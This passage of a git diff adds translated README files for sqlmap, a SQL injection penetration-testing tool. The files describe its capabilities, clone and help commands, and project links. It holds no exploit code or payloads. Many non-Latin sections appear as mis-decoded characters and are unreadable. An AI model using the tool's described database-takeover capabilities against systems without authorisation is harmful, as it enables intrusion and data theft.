[@sqlmap](https://x.com/sqlmap) +* Demonstrações: [#1](https://www.youtube.com/user/inquisb/videos) e [#2](https://www.youtube.com/user/stamparm/videos) +* Playground: https://sekumart.sekuripy.hr * Imagens: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-rs-RS.md b/doc/translations/README-rs-RS.md new file mode 100644 index 00000000000..be2a045905b --- /dev/null +++ b/doc/translations/README-rs-RS.md @@ -0,0 +1,51 @@ +# sqlmap ![](https://i.imgur.com/fe85aVR.png) + +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) + +sqlmap je alat otvorenog koda namenjen za penetraciono testiranje koji automatizuje proces detekcije i eksploatacije sigurnosnih propusta SQL injekcije i preuzimanje baza podataka. Dolazi s moćnim mehanizmom za detekciju, mnoÅ¡tvom korisnih opcija za napredno penetracijsko testiranje te Å¡iroki spektar opcija od onih za prepoznavanja baze podataka, preko uzimanja podataka iz baze, do pristupa zahvaćenom fajl sistemu i izvrÅ¡avanja komandi na operativnom sistemu koriÅ¡tenjem tzv. "out-of-band" veza. + +Slike +---- + +![Slika](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) + +Možete posetiti [kolekciju slika](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) gde su demonstrirane neke od e se demonstriraju neke od funkcija na wiki stranicama. + +Instalacija +---- + +Možete preuzeti najnoviji tarball klikom [ovde](https://github.com/sqlmapproject/sqlmap/tarball/master) ili najnoviji zipball klikom [ovde](https://github.com/sqlmapproject/sqlmap/zipball/master). + +Opciono, možete preuzeti sqlmap kloniranjem [Git](https://github.com/sqlmapproject/sqlmap) repozitorija: + + git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev + +sqlmap radi bez posebnih zahteva koriÅ¡tenjem [Python](https://www.python.org/download/) verzije **2.7** i/ili **3.x** na bilo kojoj platformi. + +Korišćenje +---- + +Kako biste dobili listu osnovnih opcija i prekidaÄa koristite: + + python sqlmap.py -h + +Kako biste dobili listu svih opcija i prekidaÄa koristite: + + python sqlmap.py -hh + +Možete pronaći primer izvrÅ¡avanja [ovde](https://asciinema.org/a/46601). +Kako biste dobili pregled mogućnosti sqlmap-a, liste podržanih funkcija, te opis svih opcija i prekidaÄa, zajedno s primerima, preporuÄen je uvid u [korisniÄki priruÄnik](https://github.com/sqlmapproject/sqlmap/wiki/Usage). + +Linkovi +---- + +* PoÄetna stranica: https://sqlmap.org +* Preuzimanje: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) ili [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* RSS feed promena u kodu: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* Prijava problema: https://github.com/sqlmapproject/sqlmap/issues +* KorisniÄki priruÄnik: https://github.com/sqlmapproject/sqlmap/wiki +* NajÄešće postavljena pitanja (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ +* X: [@sqlmap](https://x.com/sqlmap) +* Demo: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Poligon: https://sekumart.sekuripy.hr +* Slike: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-ru-RU.md b/doc/translations/README-ru-RU.md new file mode 100644 index 00000000000..6697515e130 --- /dev/null +++ b/doc/translations/README-ru-RU.md @@ -0,0 +1,51 @@ +# sqlmap ![](https://i.imgur.com/fe85aVR.png) + +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) + +sqlmap - Ñто инÑтрумент Ð´Ð»Ñ Ñ‚ÐµÑÑ‚Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ ÑƒÑзвимоÑтей Ñ Ð¾Ñ‚ÐºÑ€Ñ‹Ñ‚Ñ‹Ð¼ иÑходным кодом, который автоматизирует процеÑÑ Ð¾Ð±Ð½Ð°Ñ€ÑƒÐ¶ÐµÐ½Ð¸Ñ Ð¸ иÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð¾ÑˆÐ¸Ð±Ð¾Ðº SQL-инъекций и захвата Ñерверов баз данных. Он оÑнащен мощным механизмом обнаружениÑ, множеÑтвом приÑтных функций Ð´Ð»Ñ Ð¿Ñ€Ð¾Ñ„ÐµÑÑионального теÑтера уÑзвимоÑтей и широким Ñпектром Ñкриптов, которые упрощают работу Ñ Ð±Ð°Ð·Ð°Ð¼Ð¸ данных, от Ñбора данных из базы данных, до доÑтупа к базовой файловой ÑиÑтеме и Ð²Ñ‹Ð¿Ð¾Ð»Ð½ÐµÐ½Ð¸Ñ ÐºÐ¾Ð¼Ð°Ð½Ð´ в операционной ÑиÑтеме через out-of-band Ñоединение. + +Скриншоты +---- + +![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) + +Ð’Ñ‹ можете поÑетить [набор Ñкриншотов](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) демонÑтрируемые некоторые функции в wiki. + +УÑтановка +---- + +Ð’Ñ‹ можете Ñкачать поÑледнюю верÑию tarball, нажав [Ñюда](https://github.com/sqlmapproject/sqlmap/tarball/master) или поÑледний zipball, нажав [Ñюда](https://github.com/sqlmapproject/sqlmap/zipball/master). + +Предпочтительно вы можете загрузить sqlmap, ÐºÐ»Ð¾Ð½Ð¸Ñ€ÑƒÑ [Git](https://github.com/sqlmapproject/sqlmap) репозиторий: + + git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev + +sqlmap работает из коробки Ñ [Python](https://www.python.org/download/) верÑии **2.7** и **3.x** на любой платформе. + +ИÑпользование +---- + +Чтобы получить ÑпиÑок оÑновных опций и вариантов выбора, иÑпользуйте: + + python sqlmap.py -h + +Чтобы получить ÑпиÑок вÑех опций и вариантов выбора, иÑпользуйте: + + python sqlmap.py -hh + +Ð’Ñ‹ можете найти пробный запуÑк [тут](https://asciinema.org/a/46601). +Чтобы получить обзор возможноÑтей sqlmap, ÑпиÑок поддерживаемых функций и опиÑание вÑех параметров и переключателей, а также примеры, вам рекомендуетÑÑ Ð¾Ð·Ð½Ð°ÐºÐ¾Ð¼Ð¸Ñ‚ÑÑ Ñ [пользовательÑким мануалом](https://github.com/sqlmapproject/sqlmap/wiki/Usage). + +СÑылки +---- + +* ОÑновной Ñайт: https://sqlmap.org +* Скачивание: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) или [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* Канал новоÑтей RSS: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* ОтÑлеживание проблем: https://github.com/sqlmapproject/sqlmap/issues +* ПользовательÑкий мануал: https://github.com/sqlmapproject/sqlmap/wiki +* ЧаÑто задаваемые вопроÑÑ‹ (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ +* X: [@sqlmap](https://x.com/sqlmap) +* Демки: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* ПеÑочница: https://sekumart.sekuripy.hr +* Скриншоты: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-sk-SK.md b/doc/translations/README-sk-SK.md new file mode 100644 index 00000000000..d5e29b67c3d --- /dev/null +++ b/doc/translations/README-sk-SK.md @@ -0,0 +1,51 @@ +# sqlmap ![](https://i.imgur.com/fe85aVR.png) + +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) + +sqlmap je open source nástroj na penetraÄné testovanie, ktorý automatizuje proces detekovania a využívania chýb SQL injekcie a preberania databázových serverov. Je vybavený výkonným detekÄným mechanizmom, mnohými výklenkovými funkciami pre dokonalého penetraÄného testera a Å¡irokou Å¡kálou prepínaÄov vrátane odtlaÄkov databázy, cez naÄítanie údajov z databázy, prístup k základnému súborovému systému a vykonávanie príkazov v operaÄnom systéme prostredníctvom mimopásmových pripojení. + +Snímky obrazovky +---- + +![snímka obrazovky](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) + +Môžete navÅ¡tíviÅ¥ [zbierku snímok obrazovky](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots), ktorá demonÅ¡truuje niektoré funkcie na wiki. + +InÅ¡talácia +---- + +Najnovší tarball si môžete stiahnuÅ¥ kliknutím [sem](https://github.com/sqlmapproject/sqlmap/tarball/master) alebo najnovší zipball kliknutím [sem](https://github.com/sqlmapproject/sqlmap/zipball/master). + +NajlepÅ¡ie je stiahnuÅ¥ sqlmap naklonovaním [Git](https://github.com/sqlmapproject/sqlmap) repozitára: + + git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev + +sqlmap funguje bez problémov s programovacím jazykom [Python](https://www.python.org/download/) vo verziách **2.7** a **3.x** na akejkoľvek platforme. + +Využitie +---- + +Na získanie zoznamu základných možností a prepínaÄov, použite: + + python sqlmap.py -h + +Na získanie zoznamu vÅ¡etkých možností a prepínaÄov, použite: + + python sqlmap.py -hh + +Vzorku behu nájdete [tu](https://asciinema.org/a/46601). +Ak chcete získaÅ¥ prehľad o možnostiach sqlmap, zoznam podporovaných funkcií a opis vÅ¡etkých možností a prepínaÄov spolu s príkladmi, odporúÄame vám nahliadnuÅ¥ do [Používateľskej príruÄky](https://github.com/sqlmapproject/sqlmap/wiki/Usage). + +Linky +---- + +* Domovská stránka: https://sqlmap.org +* Stiahnutia: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) alebo [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* Zdroje RSS Commits: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* SledovaÄ problémov: https://github.com/sqlmapproject/sqlmap/issues +* Používateľská príruÄka: https://github.com/sqlmapproject/sqlmap/wiki +* ÄŒasto kladené otázky (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ +* X: [@sqlmap](https://x.com/sqlmap) +* Demá: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* CviÄisko: https://sekumart.sekuripy.hr +* Snímky obrazovky: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots \ No newline at end of file diff --git a/doc/translations/README-tr-TR.md b/doc/translations/README-tr-TR.md new file mode 100644 index 00000000000..a1c67a7135c --- /dev/null +++ b/doc/translations/README-tr-TR.md @@ -0,0 +1,54 @@ +# sqlmap ![](https://i.imgur.com/fe85aVR.png) + +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) + +sqlmap sql injection açıklarını otomatik olarak tespit ve istismar etmeye yarayan açık kaynak bir penetrasyon aracıdır. sqlmap geliÅŸmiÅŸ tespit özelliÄŸinin yanı sıra penetrasyon testleri sırasında gerekli olabilecek birçok aracı, uzak veritabanından, veri indirmek, dosya sistemine eriÅŸmek, dosya çalıştırmak gibi iÅŸlevleri de barındırmaktadır. + + +Ekran görüntüleri +---- + +![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) + + +Ä°sterseniz özelliklerin tanıtımının yapıldığı [ekran görüntüleri](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) sayfasını ziyaret edebilirsiniz. + + +Kurulum +---- + +[Buraya](https://github.com/sqlmapproject/sqlmap/tarball/master) tıklayarak en son sürüm tarball'ı veya [buraya](https://github.com/sqlmapproject/sqlmap/zipball/master) tıklayarak zipball'ı indirebilirsiniz. + +Veya tercihen, [Git](https://github.com/sqlmapproject/sqlmap) reposunu klonlayarak indirebilirsiniz + + git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev + +sqlmap [Python](https://www.python.org/download/) sitesinde bulunan **2.7** ve **3.x** versiyonları ile bütün platformlarda çalışabilmektedir. + +Kullanım +---- + + +Bütün basit seçeneklerin listesini gösterir + + python sqlmap.py -h + +Bütün seçenekleri gösterir + + python sqlmap.py -hh + +Program ile ilgili örnekleri [burada](https://asciinema.org/a/46601) bulabilirsiniz. Daha fazlası için sqlmap'in bütün açıklamaları ile birlikte bütün özelliklerinin, örnekleri ile bulunduÄŸu [manuel sayfamıza](https://github.com/sqlmapproject/sqlmap/wiki/Usage) bakmanızı tavsiye ediyoruz + +BaÄŸlantılar +---- + +* Anasayfa: https://sqlmap.org +* Ä°ndirme baÄŸlantıları: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) veya [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* Commitlerin RSS beslemeleri: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* Hata takip etme sistemi: https://github.com/sqlmapproject/sqlmap/issues +* Kullanıcı Manueli: https://github.com/sqlmapproject/sqlmap/wiki +* Sıkça Sorulan Sorular(SSS): https://github.com/sqlmapproject/sqlmap/wiki/FAQ +* X: [@sqlmap](https://x.com/sqlmap) +* Demolar: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Deneme alanı: https://sekumart.sekuripy.hr +* Ekran görüntüleri: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-uk-UA.md b/doc/translations/README-uk-UA.md new file mode 100644 index 00000000000..f55c19ffe32 --- /dev/null +++ b/doc/translations/README-uk-UA.md @@ -0,0 +1,51 @@ +# sqlmap ![](https://i.imgur.com/fe85aVR.png) + +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) + +sqlmap - це інÑтрумент Ð´Ð»Ñ Ñ‚ÐµÑÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ Ð²Ñ€Ð°Ð·Ð»Ð¸Ð²Ð¾Ñтей з відкритим Ñирцевим кодом, Ñкий автоматизує Ð¿Ñ€Ð¾Ñ†ÐµÑ Ð²Ð¸ÑÐ²Ð»ÐµÐ½Ð½Ñ Ñ– викориÑÑ‚Ð°Ð½Ð½Ñ Ð´ÐµÑ„ÐµÐºÑ‚Ñ–Ð² SQL-ін'єкцій, а також Ð·Ð°Ñ…Ð¾Ð¿Ð»ÐµÐ½Ð½Ñ Ñерверів баз даних. Він оÑнащений потужним механізмом виÑвленнÑ, безліччю приємних функцій Ð´Ð»Ñ Ð¿Ñ€Ð¾Ñ„ÐµÑійного теÑтувальника вразливоÑтей Ñ– широким Ñпектром Ñкриптів, Ñкі Ñпрощують роботу з базами даних - від відбитка бази даних до доÑтупу до базової файлової ÑиÑтеми та Ð²Ð¸ÐºÐ¾Ð½Ð°Ð½Ð½Ñ ÐºÐ¾Ð¼Ð°Ð½Ð´ в операційній ÑиÑтемі через out-of-band з'єднаннÑ. + +Скриншоти +---- + +![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) + +Ви можете ознайомитиÑÑ Ð· [колекцією Ñкриншотів](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots), Ñкі демонÑтрують деÑкі функції в wiki. + +Ð’ÑÑ‚Ð°Ð½Ð¾Ð²Ð»ÐµÐ½Ð½Ñ +---- + +Ви можете завантажити оÑтанню верÑÑ–ÑŽ tarball натиÑнувши [Ñюди](https://github.com/sqlmapproject/sqlmap/tarball/master) або оÑтанню верÑÑ–ÑŽ zipball натиÑнувши [Ñюди](https://github.com/sqlmapproject/sqlmap/zipball/master). + +Ðайкраще завантажити sqlmap шлÑхом ÐºÐ»Ð¾Ð½ÑƒÐ²Ð°Ð½Ð½Ñ [Git](https://github.com/sqlmapproject/sqlmap) репозиторію: + + git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev + +sqlmap «працює з коробки» з [Python](https://www.python.org/download/) верÑÑ–Ñ— **2.7** та **3.x** на будь-Ñкій платформі. + +ВикориÑÑ‚Ð°Ð½Ð½Ñ +---- + +Щоб отримати ÑпиÑок оÑновних опцій Ñ– перемикачів, викориÑтовуйте: + + python sqlmap.py -h + +Щоб отримати ÑпиÑок вÑÑ–Ñ… опцій Ñ– перемикачів, викориÑтовуйте: + + python sqlmap.py -hh + +Ви можете знайти приклад Ð²Ð¸ÐºÐ¾Ð½Ð°Ð½Ð½Ñ [тут](https://asciinema.org/a/46601). +Ð”Ð»Ñ Ñ‚Ð¾Ð³Ð¾, щоб ознайомитиÑÑ Ð· можливоÑÑ‚Ñми sqlmap, ÑпиÑком підтримуваних функцій та опиÑом вÑÑ–Ñ… параметрів Ñ– перемикачів, а також прикладами, вам рекомендуєтьÑÑ ÑкориÑтатиÑÑ [інÑтрукцією кориÑтувача](https://github.com/sqlmapproject/sqlmap/wiki/Usage). + +ПоÑÐ¸Ð»Ð°Ð½Ð½Ñ +---- + +* ОÑновний Ñайт: https://sqlmap.org +* ЗавантаженнÑ: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) або [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* Канал новин RSS: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* ВідÑÑ‚ÐµÐ¶ÐµÐ½Ð½Ñ Ð¿Ñ€Ð¾Ð±Ð»ÐµÐ¼: https://github.com/sqlmapproject/sqlmap/issues +* ІнÑÑ‚Ñ€ÑƒÐºÑ†Ñ–Ñ ÐºÐ¾Ñ€Ð¸Ñтувача: https://github.com/sqlmapproject/sqlmap/wiki +* Поширенні Ð¿Ð¸Ñ‚Ð°Ð½Ð½Ñ (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ +* X: [@sqlmap](https://x.com/sqlmap) +* Демо: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* ПіÑочницÑ: https://sekumart.sekuripy.hr +* Скриншоти: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-vi-VN.md b/doc/translations/README-vi-VN.md new file mode 100644 index 00000000000..96d99bee026 --- /dev/null +++ b/doc/translations/README-vi-VN.md @@ -0,0 +1,53 @@ +# sqlmap ![](https://i.imgur.com/fe85aVR.png) + +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) + +sqlmap là má»™t công cụ kiểm tra thâm nhập mã nguồn mở, nhằm tá»± Ä‘á»™ng hóa quá trình phát hiện, khai thác lá»— hổng SQL injection và tiếp quản các máy chủ cÆ¡ sở dữ liệu. Công cụ này Ä‘i kèm vá»›i +má»™t hệ thống phát hiện mạnh mẽ, nhiá»u tính năng thích hợp cho ngÆ°á»i kiểm tra thâm nhập (pentester) và má»™t loạt các tùy chá»n bao gồm phát hiện, truy xuất dữ liệu từ cÆ¡ sở dữ liệu, truy cập file hệ thống và thá»±c hiện các lệnh trên hệ Ä‘iá»u hành từ xa. + +Ảnh chụp màn hình +---- + +![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) + +Bạn có thể truy cập vào [bá»™ sÆ°u tập ảnh chụp màn hình](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) - nÆ¡i trình bày má»™t số tính năng có thể tìm thấy trong wiki. + +Cài đặt +---- + + +Bạn có thể tải xuống tập tin nén tar má»›i nhất bằng cách nhấp vào [đây](https://github.com/sqlmapproject/sqlmap/tarball/master) hoặc tập tin nén zip má»›i nhất bằng cách nhấp vào [đây](https://github.com/sqlmapproject/sqlmap/zipball/master). + +Tốt hÆ¡n là bạn nên tải xuống sqlmap bằng cách clone vá» repo [Git](https://github.com/sqlmapproject/sqlmap): + + git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev + +sqlmap hoạt Ä‘á»™ng hiệu quả vá»›i [Python](https://www.python.org/download/) phiên bản **2.7** và **3.x** trên bất kì hệ Ä‘iá»u hành nào. + +Sá»­ dụng +---- + +Äể có được danh sách các tùy chá»n cÆ¡ bản và switch, hãy chạy: + + python sqlmap.py -h + +Äể có được danh sách tất cả các tùy chá»n và switch, hãy chạy: + + python sqlmap.py -hh + +Bạn có thể xem video demo [tại đây](https://asciinema.org/a/46601). +Äể có cái nhìn tổng quan vá» sqlmap, danh sách các tính năng được há»— trợ và mô tả vá» tất cả các tùy chá»n, cùng vá»›i các ví dụ, bạn nên tham khảo [hÆ°á»›ng dẫn sá»­ dụng](https://github.com/sqlmapproject/sqlmap/wiki/Usage) (Tiếng Anh). + +Liên kết +---- + +* Trang chủ: https://sqlmap.org +* Tải xuống: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) hoặc [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* Nguồn cấp dữ liệu RSS vá» commits: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* Theo dõi issue: https://github.com/sqlmapproject/sqlmap/issues +* HÆ°á»›ng dẫn sá»­ dụng: https://github.com/sqlmapproject/sqlmap/wiki +* Các câu há»i thÆ°á»ng gặp (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ +* X: [@sqlmap](https://x.com/sqlmap) +* Demo: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Sân tập: https://sekumart.sekuripy.hr +* Ảnh chụp màn hình: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-zh-CN.md b/doc/translations/README-zh-CN.md index c3b8b2941a7..7157d361fac 100644 --- a/doc/translations/README-zh-CN.md +++ b/doc/translations/README-zh-CN.md @@ -1,26 +1,26 @@ -sqlmap -== +# sqlmap ![](https://i.imgur.com/fe85aVR.png) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) -sqlmap 是一个开æºçš„渗é€æµ‹è¯•å·¥å…·ï¼Œå¯ä»¥ç”¨æ¥è‡ªåŠ¨åŒ–的检测，利用SQL注入æ¼æ´žï¼ŒèŽ·å–æ•°æ®åº“æœåŠ¡å™¨çš„æƒé™ã€‚它具有功能强大的检测引擎,针对å„ç§ä¸åŒç±»åž‹æ•°æ®åº“的渗é€æµ‹è¯•çš„功能选项，包括获å–æ•°æ®åº“中存储的数æ®ï¼Œè®¿é—®æ“作系统文件甚至å¯ä»¥é€šè¿‡å¤–带数æ®è¿žæŽ¥çš„æ–¹å¼æ‰§è¡Œæ“作系统命令。 +sqlmap 是一款开æºçš„渗é€æµ‹è¯•å·¥å…·ï¼Œå¯ä»¥è‡ªåŠ¨åŒ–进行SQL注入的检测ã€åˆ©ç”¨ï¼Œå¹¶èƒ½æŽ¥ç®¡æ•°æ®åº“æœåŠ¡å™¨ã€‚它具有功能强大的检测引擎,为渗é€æµ‹è¯•äººå‘˜æ供了许多专业的功能并且å¯ä»¥è¿›è¡Œç»„åˆï¼Œå…¶ä¸­åŒ…括数æ®åº“指纹识别ã€æ•°æ®è¯»å–和访问底层文件系统，甚至å¯ä»¥é€šè¿‡å¸¦å¤–æ•°æ®è¿žæŽ¥çš„æ–¹å¼æ‰§è¡Œç³»ç»Ÿå‘½ä»¤ã€‚ 演示截图 ---- ![截图](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) -ä½ å¯ä»¥è®¿é—® wiki上的 [截图](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) 查看å„ç§ç”¨æ³•çš„演示 +ä½ å¯ä»¥æŸ¥çœ‹ wiki 上的 [截图](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) 了解å„ç§ç”¨æ³•çš„示例 安装方法 ---- -ä½ å¯ä»¥ç‚¹å‡» [这里](https://github.com/sqlmapproject/sqlmap/tarball/master) 下载最新的 `tar` 打包的æºä»£ç  或者点击 [这里](https://github.com/sqlmapproject/sqlmap/zipball/master)下载最新的 `zip` 打包的æºä»£ç . +ä½ å¯ä»¥ç‚¹å‡» [这里](https://github.com/sqlmapproject/sqlmap/tarball/master) 下载最新的 `tar` 打包好的æºä»£ç ï¼Œæˆ–者点击 [这里](https://github.com/sqlmapproject/sqlmap/zipball/master)下载最新的 `zip` 打包好的æºä»£ç . -推è你从 [Git](https://github.com/sqlmapproject/sqlmap) 仓库获å–最新的æºä»£ç : +推è直接从 [Git](https://github.com/sqlmapproject/sqlmap) 仓库获å–最新的æºä»£ç : - git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev + git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev -sqlmap å¯ä»¥è¿è¡Œåœ¨ [Python](http://www.python.org/download/) **2.6.x** å’Œ **2.7.x** 版本的任何平å°ä¸Š +sqlmap å¯ä»¥è¿è¡Œåœ¨ [Python](https://www.python.org/download/) **2.7** å’Œ **3.x** 版本的任何平å°ä¸Š 使用方法 ---- @@ -33,20 +33,18 @@ sqlmap å¯ä»¥è¿è¡Œåœ¨ [Python](http://www.python.org/download/) **2.6.x** å’Œ python sqlmap.py -hh -ä½ å¯ä»¥ä»Ž [这里](https://gist.github.com/stamparm/5335217) 看到一个sqlmap 的使用样例。除此以外，你还å¯ä»¥æŸ¥çœ‹ [使用手册](https://github.com/sqlmapproject/sqlmap/wiki)。获å–sqlmap所有支æŒçš„特性ã€å‚æ•°ã€å‘½ä»¤è¡Œé€‰é¡¹å¼€å…³åŠè¯´æ˜Žçš„使用帮助。 +ä½ å¯ä»¥ä»Ž [这里](https://asciinema.org/a/46601) 看到一个 sqlmap 的使用样例。除此以外，你还å¯ä»¥æŸ¥çœ‹ [使用手册](https://github.com/sqlmapproject/sqlmap/wiki/Usage)ã€‚èŽ·å– sqlmap 所有支æŒçš„特性ã€å‚æ•°ã€å‘½ä»¤è¡Œé€‰é¡¹å¼€å…³åŠè¯¦ç»†çš„使用帮助。 链接 ---- -* 项目主页: http://sqlmap.org +* 项目主页: https://sqlmap.org * æºä»£ç ä¸‹è½½: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) -* RSS 订阅: https://github.com/sqlmapproject/sqlmap/commits/master.atom -* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues +* Commitçš„ RSS 订阅: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* 问题跟踪器: https://github.com/sqlmapproject/sqlmap/issues * 使用手册: https://github.com/sqlmapproject/sqlmap/wiki * 常è§é—®é¢˜ (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* 邮件讨论列表: https://lists.sourceforge.net/lists/listinfo/sqlmap-users -* 邮件列表 RSS 订阅: http://rss.gmane.org/messages/complete/gmane.comp.security.sqlmap -* 邮件列表归档: http://news.gmane.org/gmane.comp.security.sqlmap -* Twitter: [@sqlmap](https://twitter.com/sqlmap) -* 教程: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos) +* X: [@sqlmap](https://x.com/sqlmap) +* 教程: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* é¶åœº: https://sekumart.sekuripy.hr * 截图: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/extra/__init__.py 